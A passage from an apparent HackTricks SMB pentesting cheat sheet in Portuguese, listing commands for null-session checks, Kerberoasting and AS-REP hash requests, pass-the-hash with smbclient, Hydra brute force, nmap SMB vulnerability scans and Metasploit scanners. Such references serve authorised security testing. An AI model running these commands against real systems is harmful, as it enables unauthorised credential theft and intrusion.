crackmapexec smb {IP} --pass-pol -u "" -p ""
|
|
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
|
|
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
|
|
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
|
|
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
|
|
getArch.py -target {IP}
|
|
|
|
Com credenciais
|
|
smbmap -H {IP} -u {Username} -p {Password}
|
|
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
|
|
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
|
|
crackmapexec smb {IP} -u {Username} -p {Password} --shares
|
|
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
|
|
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
|
|
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
|
|
|
|
https://book.hacktricks.xyz/pentesting/pentesting-smb
|
|
|
|
Entry_2:
|
|
Name: Enum4Linux
|
|
Description: Varredura SMB geral
|
|
Command: enum4linux -a {IP}
|
|
|
|
Entry_3:
|
|
Name: Varredura Nmap SMB 1
|
|
Description: Varredura de vulnerabilidades SMB com Nmap
|
|
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
|
|
|
|
Entry_4:
|
|
Name: Varredura Nmap SMB 2
|
|
Description: Varredura de vulnerabilidades SMB com Nmap (Menos específica)
|
|
Command: nmap --script smb-vuln* -Pn -p 139,445 {IP}
|
|
|
|
Entry_5:
|
|
Name: Força Bruta Hydra
|
|
Description: Necessita de usuário
|
|
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
|
|
|
|
Entry_6:
|
|
Name: Enumeração SMB/SMB2 139/445 sem console mfs
|
|
Description: Enumeração SMB/SMB2 139/445 sem a necessidade de executar msfconsole
|
|
Note: obtido de https://github.com/carlospolop/legion
|
|
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
|
|
```
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|